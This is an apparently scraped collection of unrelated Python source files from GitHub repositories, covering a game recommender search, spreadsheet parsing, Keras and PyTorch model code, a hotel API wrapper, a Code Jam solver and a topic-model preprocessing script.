max_game_list_size = 2\r\n visited_titles = {}\r\n\r\n # debug - print(f\"ulk - {user_likes_keys}\")\r\n # debug - print(f\"uhk - {user_hates_keys}\")\r\n \r\n\r\n # first while loop is for the dfs search based on all user like keys\r\n # any truncating of the user likes list happens in gr_userdata - whatever is in user_likes list that makes it here\r\n # will be searched.\r\n while len(user_likes_keys) > 0:\r\n search_depth = 0\r\n path_queue = []\r\n visited_keys = []\r\n \r\n current_key = user_likes_keys.pop(0)\r\n visited_keys.append(current_key)\r\n temp_game_list = hashmap.get_single_graph(current_key).create_list(True)\r\n\r\n # debug - print(f\"\\ntgl - {current_key} - {temp_game_list}\\n\")\r\n\r\n if len(temp_game_list) < 1:\r\n search_depth = max_search_depth\r\n else:\r\n temp_game_list = game_list_shuffle(temp_game_list, current_key, max_game_list_size)\r\n path_queue.append([temp_game_list, 1])\r\n\r\n # debug - print(f\"ck - {current_key} - {path_queue}\\n\")\r\n \r\n # breadth search portion - fans out from each games secondary, tertiary,. . . genre percentage until the\r\n # max depth is reached or the path_queue is empty\r\n while len(path_queue) > 0:\r\n search_col = len(path_queue)\r\n current_path = path_queue.pop(0)\r\n current_titles = current_path[0]\r\n search_depth = current_path[1]\r\n\r\n if search_depth >= max_search_depth:\r\n break\r\n\r\n for title in current_titles:\r\n \r\n visited_tally(visited_titles, title, user_likes, user_hates, current_key)\r\n\r\n temp_list = []\r\n current_title_edges = title.genre_edges.get_item_list(True)\r\n quicksort_tuple(current_title_edges, 0, len(current_title_edges) - 1)\r\n\r\n # edge key is used instead of current key until the dfs search for the current user_liked genre is complete\r\n edge_key = get_next_key(visited_keys, current_title_edges, user_hates_keys)\r\n\r\n # debug - print(f\"{title} - {current_title_edges}\\n\")\r\n\r\n temp_game_list = hashmap.get_single_graph(edge_key).create_list(True)\r\n\r\n # debug - print(f\"\\ntgl2 - {edge_key} - {temp_game_list}\\n\")\r\n\r\n temp_game_list = game_list_shuffle(temp_game_list, edge_key, max_game_list_size)\r\n path_queue.append([temp_game_list, search_depth + 1])\r\n\r\n # debug - print(f\"ek - {edge_key} - {path_queue}\\n\")\r\n\r\n\r\n # debug - print(f\"vt - {visited_titles}\\n\")\r\n # debug - print(f\"played_games - {played_games}\")\r\n\r\n for title in played_games:\r\n if title in list(visited_titles.keys()):\r\n visited_titles.pop(title)\r\n\r\n # debug - print(f\"vt - {visited_titles}\\n\")\r\n\r\n # returns a dictionary - {title: [percent, times it was accessed],. . .}\r\n return visited_titles\r\n\r\n\r\n\r\n# splits a games genres into likes and hates for heuristic comparison\r\ndef get_like_hates(temp_game, threshhold):\r\n temp_genre_tuple_list = temp_game.genre_edges.get_item_list(False)\r\n temp_likes = []\r\n temp_hates = []\r\n\r\n for item in temp_genre_tuple_list:\r\n if item[0] > threshhold:\r\n temp_likes.append(item)\r\n else:\r\n temp_hates.append(item)\r\n\r\n return [temp_likes, temp_hates]\r\n\r\n\r\n\r\ndef compare_heuristic(current_likes_hates, unique_likes_hates):\r\n current_likes = current_likes_hates[0]\r\n current_hates = current_likes_hates[1]\r\n unique_likes = unique_likes_hates[0]\r\n unique_hates = unique_likes_hates[1] \r\n\r\n # debug - print(f\"compare - current_likes - {current_likes}\\n\")\r\n # debug - print(f\"compare - unique_likes - {unique_likes}\\n\")\r\n\r\n rows = []\r\n cols = []\r\n row_count = 0 \r\n\r\n # likes\r\n for i in range(len(current_likes) + 1):\r\n cols = []\r\n for j in range(len(unique_likes) + 1):\r\n cols.append(0)\r\n\r\n rows.append(cols)\r\n\r\n # debug - print(f\"row_col - {rows}\")\r\n \r\n\r\n while row_count <= len(current_likes):\r\n for i in range(1, len(current_likes) + 1):\r\n for j in range(1, len(unique_likes) + 1):\r\n\r\n if current_likes[i - 1][1] == unique_likes[j - 1][1]:\r\n rows[i][j] = 1 + rows[i-1][j-1]\r\n else:\r\n top = rows[i-1][j]\r\n left = rows[i][j-1]\r\n if left > top:\r\n rows[i][j] = left\r\n else:\r\n rows[i][j] = top\r\n\r\n row_count += 1\r\n\r\n # debug - print(f\"row_col - {rows}\")\r\n\r\n final_count = rows[len(current_likes)][len(unique_likes)]\r\n return final_count\r\n\r\n\r\n\r\n# DFS\r\n\r\n# takes user likes and pulls the top game from each genre list of user likes\r\n# each games genre tags are compared to the players unique favorite game\r\n# the title with the most matches is added to the top games list which is returned\r\n# user hates is not used in this algorithm, its used in the bfs algorithm\r\ndef dfs(hashmap, user_likes, unique_game, played_games, threshhold = 30, max_matches = 5):\r\n\r\n genre_idx_dict = {}\r\n check_heuristic_list = {}\r\n user_likes_genre_dict = hashmap.get_all_lists(user_likes, True, 10)\r\n unique_game_likes_hates = None\r\n top_matching_games = []\r\n visited_games = [] + played_games\r\n\r\n # debug - print(f\"user_likes ---> {user_likes}\")\r\n\r\n # debug - for genre in user_likes_genre_dict.keys():\r\n\r\n # debug - print(f\"user_likes_genre_dict - {genre} - {user_likes_genre_dict[genre]}\\n\")\r\n\r\n unique_game_likes_hates = get_like_hates(unique_game, threshhold)\r\n\r\n for genre in user_likes_genre_dict.keys():\r\n check_heuristic_list[genre] = None\r\n\r\n # adds the top non-matching game from each genre into the heuristic check list\r\n # the heuristic check list will compare each game to the unique_games top genres\r\n # the closest match will be added to top_matching_games\r\n for genre in user_likes_genre_dict.keys():\r\n check_heuristic_list[genre] = None\r\n genre_idx_dict[genre] = 0\r\n\r\n user_likes_genre_dict[genre] = game_list_shuffle_dfs(user_likes_genre_dict[genre], len(user_likes_genre_dict[genre]))\r\n\r\n # debug - print(f\"user_likes_genre_dict - {genre} - {user_likes_genre_dict[genre]}\\n\")\r\n\r\n current_game = user_likes_genre_dict[genre][genre_idx_dict[genre]][1]\r\n\r\n # debug - print(f\"current_game ---> {current_game}\")\r\n\r\n while check_heuristic_list[genre] == None and genre_idx_dict[genre] < len(user_likes_genre_dict[genre]):\r\n\r\n # game_node_only = [game_node[1] for game_node in check_heuristic_list.values()]\r\n\r\n # debug - print(f\"start - check_heuristic_list ---> {check_heuristic_list}\")\r\n\r\n if current_game in check_heuristic_list.values() or current_game in visited_games:\r\n current_game = user_likes_genre_dict[genre][genre_idx_dict[genre]][1]\r\n genre_idx_dict[genre] += 1\r\n else:\r\n check_heuristic_list[genre] = current_game\r\n\r\n # debug - print(f\"start - check_heuristic_list ---> {check_heuristic_list}\")\r\n\r\n\r\n while len(top_matching_games) < max_matches:\r\n \r\n game_compare_totals = []\r\n\r\n for genre in check_heuristic_list.keys():\r\n current_game = check_heuristic_list[genre]\r\n current_game_likes_hates = None\r\n\r\n if current_game != None:\r\n current_game_likes_hates = get_like_hates(current_game, threshhold)\r\n\r\n # compares each games genre percentages to the players chosen favorite game\r\n # returns each total of matches allowing them to be compared\r\n # the game with the most matches, wins.\r\n game_compare_totals.append((compare_heuristic(current_game_likes_hates, unique_game_likes_hates), [current_game, genre]))\r\n\r\n # debug - print(f\"compare_totals ----- {game_compare_totals}\")\r\n\r\n\r\n if len(game_compare_totals) <= 0:\r\n print(f\"game_compare_totals contains zero games\")\r\n break\r\n\r\n # sorts the game_compare_totals so the largest comparison is in front, ready to be popped\r\n # adds the top_game to the top_matching_games list and readies the heuristic slot to be filled\r\n quicksort_tuple(game_compare_totals, 0, len(game_compare_totals) -1)\r\n\r\n top_game_temp = game_compare_totals.pop(0)\r\n top_matching_games.append(top_game_temp[1][0])\r\n visited_games.append(top_game_temp[1][0])\r\n genre = top_game_temp[1][1]\r\n genre_idx_dict[genre] += 1\r\n check_heuristic_list[genre] = None\r\n\r\n # debug - print(f\"\\nafter single run - check_heuristic_list ---> {check_heuristic_list}\")\r\n # debug - print(f\"\\nafter single run - visited_games ---> {visited_games}\")\r\n\r\n\r\n # refill the check heuristic dictionary - same as earlier only this one doesn't initialize the index or heuristic dictionary\r\n for genre in user_likes_genre_dict.keys():\r\n\r\n # last thing - changes <= to <\r\n while check_heuristic_list[genre] == None and genre_idx_dict[genre] < len(user_likes_genre_dict[genre]):\r\n\r\n current_game = user_likes_genre_dict[genre][genre_idx_dict[genre]][1]\r\n\r\n if current_game in check_heuristic_list.values() or current_game in visited_games:\r\n\r\n # debug - print(f\"user_likes_genre_dict - last game - {genre} - {user_likes_genre_dict}\\n\")\r\n # debug - print(f\"genre_count --- {genre} --- {genre_idx_dict[genre]}\")\r\n # debug - print(f\"visited_games --- {genre} ---- {visited_games}\")\r\n # debug - print(f\"last_current_game ---- {genre} ---- {user_likes_genre_dict[genre][genre_idx_dict[genre]]}\\n\")\r\n\r\n current_game = user_likes_genre_dict[genre][genre_idx_dict[genre]][1]\r\n genre_idx_dict[genre] += 1\r\n else:\r\n check_heuristic_list[genre] = current_game\r\n\r\n # debug - print(f\"end - check_heuristic_list ---> {check_heuristic_list}\")\r\n \r\n return top_matching_games\r\n\r\n\r\n\r\n\r\n# DEBUG STUFF\r\n\r\n#some_user_likes = {'Singleplayer': 100, 'Adventure': 91, 'Action': 74, 'Story': 63, 'Retro': 50}\r\n#some_user_hates = {'Multiplayer': 100, 'Action': 87, 'Coop': 80, 'Splitscreen': 60, 'Sci-fi': 59, 'Simulation': 56, 'Portable': 56, 'Party': 52, 'Adventure': 52, 'Alt-Sports': 51}\r\n\r\n\r\n#title_to_node_played_games = user_data.played_games + []\r\n#for i in range(len(title_to_node_played_games)):\r\n# current_title_string = title_to_node_played_games[i]\r\n# current_title_node = game_nodes.get_value(current_title_string)\r\n# title_to_node_played_games[i] = current_title_node\r\n\r\n#user_data2 = UserData()\r\n#unique_game_question()\r\n#print(f\"unique_game ---> {user_data.unique_game}\")\r\n\r\n#top_match = dfs(game_averages, some_user_likes, user_data.unique_game, title_to_node_played_games, 30, 5)\r\n\r\n#print(f\"\\ntop_matching_games ---> {top_match}\\n\")\r\n \r\n\r\n\r\n \r\n\r\n\r\n\r\n","repo_name":"BigBowly/GameRec","sub_path":"gr_graphsearch.py","file_name":"gr_graphsearch.py","file_ext":"py","file_size_in_byte":14622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11061830783","text":"import openpyxl, pprint #导入相关库文件\nprint(openpyxl.__version__) #查看openpyxl库版本\nprint('Opening workbook...')\nwb = openpyxl.load_workbook('G:/Python_Learning/TEC_Python/automate_online-materials/censuspopdata.xlsx') #加载Excel文件\nsheet = wb['Population by Census Tract'] #获取指定名称工作表\ncountyData = {} #定义空字典\nprint('Reading rows...')\nfor row in range(2, sheet.max_row + 1): #遍历行,返回[2,工作表最大行数]\n State = sheet['B' + str(row)].value #将单元格'Bstr(row)'赋值给State\n county = sheet['C' + str(row)].value #将单元格'Cstr(row)'赋值给county\n pop = sheet['D' + str(row)].value #将单元格'Dstr(row)'赋值给pop\n countyData.setdefault(State, {}) #初始化State键的值;\n countyData[State].setdefault(county, {'tracts': 0, 'pop': 0}) #初始化键值的字典\n countyData[State][county]['tracts'] += 1 #键值自加1\n countyData[State][county]['pop'] += int(pop) #人口叠加\nprint('Writing results')\nresultFile = open('census2010.py', 'w') #打开文件\nresultFile.write('allData = ' + pprint.pformat(countyData)) #写入文件\nresultFile.close()\nprint('Done.')\n\n","repo_name":"ssveg2/Excel_Deal","sub_path":"Excel_Read_Example.py","file_name":"Excel_Read_Example.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"3334187079","text":"#!/usr/bin/env python3\n\n# Use plaidml if available, tf otherwise\nUSE_PLAIDML = True\nif USE_PLAIDML:\n from importlib import util\n spam_spec = util.find_spec(\"plaidml\")\n if spam_spec is not None:\n import plaidml.keras\n plaidml.keras.install_backend()\n else:\n print(\"PlaidML not found, using Tensorflow\")\n USE_PLAIDML = False\nimport argparse\nfrom keras.layers import Flatten, MaxPooling2D, Convolution2D, Dropout, Dense\nfrom keras.models import Sequential\nfrom applications.daimler.loader import load_imdb\n\ndef train(imgdb_path, model_path):\n imdb = load_imdb(imgdb_path)\n x = imdb['images']\n y = imdb['y']\n\n usual_model = Sequential()\n usual_model.add(Convolution2D(4, (3, 3), input_shape=(x.shape[1], x.shape[2], 1),\n activation='relu', padding='same'))\n usual_model.add(MaxPooling2D(pool_size=(2, 2)))\n usual_model.add(Convolution2D(16, (3, 3), padding='same', activation='relu'))\n usual_model.add(MaxPooling2D(pool_size=(2, 2)))\n usual_model.add(Convolution2D(32, (3, 3), padding='same', activation='relu',))\n usual_model.add(MaxPooling2D(pool_size=(4, 2)))\n usual_model.add(Dropout(0.4))\n usual_model.add(Convolution2D(2, (2, 2), activation='softmax'))\n usual_model.add(Flatten())\n\n dense_model = Sequential()\n dense_model.add(Convolution2D(4, (3, 3), input_shape=(x.shape[1], x.shape[2], 1),\n activation='relu', padding='same'))\n dense_model.add(MaxPooling2D(pool_size=(2, 2)))\n dense_model.add(Convolution2D(16, (3, 3), padding='same', activation='relu'))\n dense_model.add(MaxPooling2D(pool_size=(2, 2)))\n dense_model.add(Convolution2D(32, (3, 3), padding='same', activation='relu'))\n dense_model.add(MaxPooling2D(pool_size=(2, 2)))\n dense_model.add(Dropout(0.4))\n dense_model.add(Flatten())\n dense_model.add(Dense(2, activation='softmax'))\n\n # Select the current model here\n model = dense_model\n\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\n print(model.summary())\n model.fit(x, y, batch_size=1000, epochs=10, verbose=1, validation_split=0.05)\n model.save(model_path)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Train the network given ')\n\n parser.add_argument('-b', '--database-path', dest='imgdb_path',\n help='Path to the image database to use for training. '\n 'Default is img.db in current folder.')\n parser.add_argument('-m', '--model-path', dest='model_path',\n help='Store the trained model using this path. Default is model.h5.')\n\n args = parser.parse_args()\n\n imgdb_path = \"img.db\"\n model_path = \"model.h5\"\n\n if args.imgdb_path is not None:\n imgdb_path = args.imgdb_path\n\n if args.model_path is not None:\n model_path = args.model_path\n \n train(imgdb_path, model_path)\n\n","repo_name":"iml130/nncg","sub_path":"applications/daimler/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2961,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"75"} +{"seq_id":"9174741834","text":"import requests\r\nimport os\r\nfrom dotenv import load_dotenv\r\nfrom typing import Any, Dict, Union, List\r\nfrom loguru import logger\r\n\r\n\r\nload_dotenv()\r\n\r\n\r\n@logger.catch\r\ndef api_request(method_endswith: str,\r\n params: Dict[str, Union[str, int, List, Dict]],\r\n method_type: str) -> Any:\r\n\r\n \"\"\"Функция, определяющая тип API запроса \"\"\"\r\n\r\n url = f\"https://hotels4.p.rapidapi.com/{method_endswith}\"\r\n\r\n headers = {\r\n \"X-RapidAPI-Key\": os.getenv(\"RAPID_API_KEY\"),\r\n \"X-RapidAPI-Host\": \"hotels4.p.rapidapi.com\"\r\n }\r\n\r\n if method_type == 'GET':\r\n return get_request(\r\n url=url,\r\n params=params,\r\n headers=headers)\r\n else:\r\n return post_request(\r\n url=url,\r\n params=params,\r\n headers=headers)\r\n\r\n\r\n@logger.catch\r\ndef get_request(url, params, headers):\r\n \"\"\"Функция, обрабатывающая GET запрос\"\"\"\r\n\r\n try:\r\n response = requests.get(\r\n url=url,\r\n headers=headers,\r\n params=params,\r\n timeout=15)\r\n if response.status_code == requests.codes.ok:\r\n return response.text\r\n\r\n raise PermissionError\r\n\r\n except PermissionError as exc:\r\n logger.exception(exc)\r\n return False\r\n\r\n\r\n@logger.catch\r\ndef post_request(url, params, headers):\r\n \"\"\"Функция, обрабатывающая POST запрос\"\"\"\r\n\r\n try:\r\n response = requests.post(\r\n url=url,\r\n headers=headers,\r\n json=params,\r\n timeout=15)\r\n if response.status_code == requests.codes.ok:\r\n return response.text\r\n\r\n raise PermissionError\r\n\r\n except PermissionError as exc:\r\n logger.exception(exc)\r\n return False\r\n","repo_name":"Demodelife/bot-hotel-search","sub_path":"utils/api_requests/api_request.py","file_name":"api_request.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"25787590028","text":"from typing import List\n\nfrom app.crud.base import BaseCRUD\nfrom app.models.charity_project import CharityProject\nfrom sqlalchemy import func, select\nfrom sqlalchemy.engine import Result\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\n\nclass CRUDCharityProject(BaseCRUD):\n\n async def get_charity_project_by_name(\n self,\n charity_project_name: str,\n session: AsyncSession\n ):\n charity_project = await session.scalar(\n select(self.model).where(\n self.model.name == charity_project_name\n )\n )\n return charity_project\n\n async def get_projects_by_completion_rate(\n self,\n session: AsyncSession,\n ) -> List[CharityProject]:\n projects: Result = await session.execute(\n select(CharityProject).where(\n CharityProject.fully_invested\n ).order_by(\n func.julianday(CharityProject.close_date) -\n func.julianday(CharityProject.create_date)\n )\n )\n projects = projects.scalars().all()\n return projects\n\n\ncharity_project_crud = CRUDCharityProject(CharityProject)\n","repo_name":"niktere12321/QRkot_spreadsheets","sub_path":"app/crud/charity_project.py","file_name":"charity_project.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"37144759269","text":"class SiteTagHandler(object):\n path = None\n\n @staticmethod\n def handle(tag, site_context):\n raise NotImplementedError\n\n\nclass PageTagHandler(object):\n path = None\n\n @staticmethod\n def handle(tag, site_context, page_contex):\n raise NotImplementedError\n\n\ndef create_dictionary_recursively(dic, path, value):\n paths = path.split('/')[1:]\n for key in paths[:-1]:\n if key not in dic:\n dic[key] = {}\n dic = dic[key]\n dic[paths[-1]] = value\n\n\n\"\"\"\nhandlers starts here\n\"\"\"\n\n\nclass DefaultSiteTagHandler(SiteTagHandler):\n @staticmethod\n def handle(tag, site_context):\n create_dictionary_recursively(site_context, tag.path, tag.value)\n\n\nclass DefaultPageTagHandler(SiteTagHandler):\n @staticmethod\n def handle(tag, site_context, page_contex):\n create_dictionary_recursively(page_contex, tag.path, tag.value)\n\n\nclass PostCategoryHandler(DefaultPageTagHandler):\n path = '/category'\n\n @staticmethod\n def handle(tag, site_context, page_contex):\n if 'category' not in site_context:\n site_context.category = {}\n if tag.value not in site_context.category:\n site_context.category[tag.value] = []\n site_context.category[tag.value].append(page_contex)\n","repo_name":"yesheng93/Pocky","sub_path":"handlers.py","file_name":"handlers.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70885285364","text":"import cv2\nfrom model import ModelClass\nimport numpy as np\nfrom create_dataset import preprocess_input\nfrom process import process_image\nfrom findblobs import detect_shape\nimport pandas as pd\nimport os\n\npath_to_image = r'C:\\Users\\dj\\Downloads\\athul_workspace\\python_codes\\fullimage\\DJI_0037.JPG.jpg'\npath_to_weights = r'mode;-110-478.1933.hdf5'\n\nim = cv2.imread(path_to_image)\nprint(im.shape)\n\nheight, width, _ = im.shape\npadding = 10\n\narea = 500\n\nmode = ModelClass()\nmodel = mode.load_model(path_to_weights)\n\nx1 = 0\ny1 = 0\nx2 = area\ny2 = area\n\nnet_data = width / area\nnet_height = height / area\nprediction_coordinates = []\n\nfor i in range(int(net_data)):\n py1 = 0\n\n py2 = area\n\n for h in range(int(net_height)):\n x_pad = 0\n if x1 - padding >= 0:\n x_pad = padding\n y_pad = 0\n if py1 - padding >= 0:\n y_pad = padding\n\n crop = im[py1 - y_pad:py2, x1 - x_pad:x2]\n img = process_image(crop)\n image_data = preprocess_input(img)\n data_set = np.ndarray(shape=(1, 500, 500, 3), dtype=np.float32)\n\n data_set[0, :, :, :] = image_data\n prediction = model.predict(data_set)\n coordinate = []\n for value in prediction[0]:\n coordinate.append(round(float(value) + 10))\n\n lis = np.array_split(coordinate, 3)\n\n cord = detect_shape(img)\n\n for l in lis:\n r = 30\n x = round(l[0])\n y = round(l[1] )\n error_rate = 10\n if x < 50 and y <50:\n continue\n\n cv2.circle(im, ((i * area) + round(l[0]), (h * area) + round(l[1])), 30,\n (255, 255, 255), 1)\n prediction_coordinates.append([(i * area) + round(l[0]), (h * area) + round(l[1])])\n\n print(lis)\n\n py1 = py1 + area\n py2 = py2 + area\n x1 = x1 + area\n x2 = x2 + area\n\ncv2.imwrite(os.path.join('predicted', 'pred.jpg'), im)\n\na = [path_to_image, prediction_coordinates]\nmy_df = pd.DataFrame(a)\n\nmy_df.to_csv('my_csv.csv', index=False, header=False)\n","repo_name":"Athul100/Ground-Control-Point-Detection","sub_path":"predict.py","file_name":"predict.py","file_ext":"py","file_size_in_byte":2058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28668515466","text":"from math import sqrt;\r\nfrom itertools import count, islice\r\n\r\ndef get_a_divisor(n, base, memo={}):\r\n\tnum = int(n, base)\r\n\tif(num in memo):\r\n\t\t# print(\"memo hit\")\r\n\t\treturn memo[num]\r\n\tstep = 0\r\n\tfor i in islice(count(2), int(sqrt(num)-1)):\r\n\t\tstep += 1\r\n\t\tif num % i == 0:\r\n\t\t\tmemo[num] = i\r\n\t\t\treturn i\r\n\t\tif (step > 10000):\r\n\t\t\t# give up\r\n\t\t\tbreak\r\n\tmemo[num] = None\r\n\treturn None\r\n\r\ndef validate_coin(n):\r\n\tproof = []\r\n\tfor base in range(2,11):\r\n\t\tdivisor = get_a_divisor(n, base)\r\n\t\tif (not divisor):\r\n\t\t\treturn None\r\n\t\tproof.append(divisor)\r\n\treturn (n, proof)\r\n\r\ndef generate_coin(n):\r\n\tones = ''.join(map(str,[1] * (n-2)))\r\n\tf = \"1{{:0{}b}}1\".format(n-2)\r\n\tfor i in range(int(ones,2) + 1):\r\n\t\tnext_coin = f.format(i)\r\n\t\tyield next_coin\r\n\r\ndef make_jam_coins(n, j):\r\n\tresults = []\r\n\tfor i in generate_coin(n):\r\n\t\tcoin = validate_coin(i)\r\n\t\tif (coin):\r\n\t\t\t# print (coin)\r\n\t\t\tresults.append(coin)\r\n\t\t\tif(len(results) == j):\r\n\t\t\t\tbreak\r\n\treturn results\r\n\r\nif __name__ == \"__main__\":\r\n\tt = int(input())\r\n\tfor i in range(1, t + 1):\r\n\t\tn, j = [int(s) for s in input().split(\" \")]\r\n\t\tprint(\"Case #{}:\".format(i))\r\n\t\tfor s in make_jam_coins(n,j):\r\n\t\t\tprint(s[0], \" \".join(map(str, s[1])))\r\n","repo_name":"DaHuO/Supergraph","sub_path":"codes/CodeJamCrawler/16_0_3/Phoenix47/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"20994136616","text":"#!/usr/bin/python\nimport sys\nimport argparse\n\nparser = argparse.ArgumentParser(\n description=\"\"\"Command-line benchmark utility.\"\"\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n add_help=False)\n\nparser.add_argument('vambpath', help='Path to vamb directory')\nparser.add_argument('clusterspath', help='Path to clusters.tsv')\nparser.add_argument('refpath', help='Path to reference file')\nparser.add_argument('--tax', dest='taxpath', help='Path to taxonomic maps')\nparser.add_argument('-m', dest='min_bin_size', metavar='', type=int,\n default=200000, help='Minimum size of bins [200000]')\nparser.add_argument('-s', dest='separator', help='Binsplit separator', default=None)\nparser.add_argument('--disjoint', action='store_true', help='Enforce disjoint clusters')\n\nif len(sys.argv) == 1:\n parser.print_help()\n sys.exit()\n\nargs = parser.parse_args()\n\nsys.path.append(args.vambpath)\nimport vamb\nimport os\n\n# Check that files exist\nfor path in args.clusterspath, args.refpath, args.taxpath:\n if path is not None and not os.path.isfile(path):\n raise FileNotFoundError(path)\n\nwith open(args.clusterspath) as file:\n clusters = vamb.vambtools.read_clusters(file)\n\nwith open(args.refpath) as file:\n reference = vamb.benchmark.Reference.from_file(file)\n\nif args.taxpath is not None:\n with open(args.taxpath) as file:\n reference.load_tax_file(file)\n\nbinning = vamb.benchmark.Binning(clusters, reference, minsize=args.min_bin_size, disjoint=args.disjoint,\n binsplit_separator=args.separator)\n\nfor rank in range(len(binning.counters)):\n binning.print_matrix(rank)\n print(\"\")\n","repo_name":"marc391130/P6-BinChilling","sub_path":"VAMB/src/cmd_benchmark.py","file_name":"cmd_benchmark.py","file_ext":"py","file_size_in_byte":1661,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"21609673174","text":"from sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.datasets import fetch_20newsgroups\nfrom sklearn.decomposition import TruncatedSVD\nimport gensim\nimport numpy as np\nimport pickle as pkl\nfrom scipy import sparse\nimport re\nimport string\nimport sys\nimport os\nimport argparse\n\nfrom os import path\nsys.path.append(path.dirname(path.dirname(path.abspath(__file__))))\n\nparser = argparse.ArgumentParser(description='Dimensionality reduction on pre-trained word embeddings.')\n\nparser.add_argument('--topics', type=int, help='number of topics to be trained on')\nparser.add_argument('--emb_path', type=str, help='path to the embedding file')\nparser.add_argument('--save_path', type=str, default='./', help='checkpoint path (if any)')\n\nargs = parser.parse_args()\n\n# Maximum / minimum document frequency\nmax_df = 0.7\nmin_df = 100 # choose desired value for min_df\n\n# Read stopwords\nwith open('stops.txt', 'r') as f:\n stops = f.read().split('\\n')\n\n# Read data\nprint('reading data...')\ntrain = fetch_20newsgroups(subset='train', shuffle=False)\ntest = fetch_20newsgroups(subset='test', shuffle=False)\n\ntrain = [re.findall(r'''[\\w']+|[.,!?;-~{}`´_<=>:/@*()&'$%#\"]''', train.data[doc]) for doc in range(len(train.data))]\ntest = [re.findall(r'''[\\w']+|[.,!?;-~{}`´_<=>:/@*()&'$%#\"]''', test.data[doc]) for doc in range(len(test.data))]\n\ndef contains_punctuation(w):\n return any(char in string.punctuation for char in w)\n\ndef contains_numeric(w):\n return any(char.isdigit() for char in w)\n \n# Remove documents with length less than 10 and greater than 95th percentile.\ndef remove_outlier(docs):\n lengths = np.array([len(doc) for doc in docs])\n docs = [docs[i] for i in np.where((lengths > 10) & (lengths < np.percentile(lengths, 95)))[0]]\n\n return docs\n\ntrain = remove_outlier(train)\ntest = remove_outlier(test)\ncorpus = train + test\n\n# Removes all words with any punctuation or digits in them.\ncorpus = [[w.lower() for w in corpus[doc] if not contains_punctuation(w)] for doc in range(len(corpus))]\ncorpus = [[w for w in corpus[doc] if not contains_numeric(w)] for doc in range(len(corpus))]\ncorpus = [[w for w in corpus[doc] if len(w)>1] for doc in range(len(corpus))]\ncorpus = [\" \".join(corpus[doc]) for doc in range(len(corpus))]\n\n# Create count vectorizer\nprint('counting document frequency of words...')\ncvectorizer = CountVectorizer(min_df=min_df, max_df=max_df, stop_words=None)\ncvz = cvectorizer.fit_transform(corpus).sign()\nprint(\"Corpus size: \", len(corpus))\n# Get vocabulary\nprint('building the vocabulary...')\nsum_counts = np.asarray(cvz.sum(axis=0))[0]\nv_size = sum_counts.shape[0]\nprint('initial vocabulary size: {}'.format(len(cvectorizer.vocabulary_)))\n\n# Sort elements in vocabulary and also remove stop words from the list\nvocab = sorted([(i, word) for i, word in enumerate(cvectorizer.vocabulary_) if word not in stops], key=lambda x: x[0])\nvocab = [w for i, w in vocab]\ndel cvectorizer\n\n# Split in train/test/valid\nprint('tokenizing documents and splitting into train/test/valid...')\nvaSize = int(0.2 * len(corpus))\ntrSize = len(corpus) - vaSize\n\n#idx_permute = np.random.permutation(num_docs_tr).astype(int)\nidx_permute = np.arange(len(corpus))\n\n# Remove words not in train_data\nvocab = list(set([w for idx_d in range(trSize) for w in corpus[idx_permute[idx_d]].split() if w in vocab]))\nword2id = dict([(w, j) for j, w in enumerate(vocab)])\nid2word = dict([(j, w) for j, w in enumerate(vocab)])\nprint('vocabulary after removing words not in train: {}'.format(len(vocab)))\n\n# Write the vocabulary to a file\nwith open(os.path.join(args.save_path, 'vocab.pkl'), 'wb') as f:\n pkl.dump(vocab, f)\n\nfolder = '/'.join(args.emb_path.split('/')[:-1])\ngensim.scripts.glove2word2vec.glove2word2vec(args.emb_path, os.path.join(folder, 'embeddings.txt'))\nembeddings = gensim.models.KeyedVectors.load_word2vec_format(os.path.join(folder, 'embeddings.txt'))\n\nvectors = np.random.randn(len(vocab), 300)\nfor index, word in enumerate(vocab):\n if word in embeddings.wv.vocab:\n vectors[index] = embeddings[word]\n\nsvd = TruncatedSVD(n_components = 50)\nbeta = svd.fit_transform(vectors)\n\nwith open('beta.pkl', 'wb') as f:\n pkl.dump(beta, f)\n","repo_name":"shshnk94/topic-model","sub_path":"dimred/dimred.py","file_name":"dimred.py","file_ext":"py","file_size_in_byte":4189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18000941185","text":"import torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport numpy as np\n\ndef get_num_params(model):\n trainable_params = filter(lambda p: p.requires_grad, model.parameters())\n num_trainable = sum([np.prod(p.size()) for p in trainable_params])\n return num_trainable\n\ndef init_weights(model):\n for m in model.modules():\n if isinstance(m, nn.Conv3d) or isinstance(m, nn.ConvTranspose3d):\n nn.init.kaiming_normal_(m.weight)\n if m.bias is not None:\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.BatchNorm3d):\n m.reset_parameters()\n elif isinstance(m, nn.Linear):\n m.reset_parameters()\n \ndef get_latent_dim(model, input_shape):\n dbg = model.debug; model.debug=False\n f = model.encode(Variable(torch.ones(1,1,*input_shape)))\n model.debug=dbg\n return int(np.prod(f.size()[1:]))\n\ndef check_trainable(model, module:str):\n module = getattr(model, module)\n is_trainable = all([p.requires_grad for p in module.parameters()])\n num_trainable = get_num_params(module)\n return is_trainable, 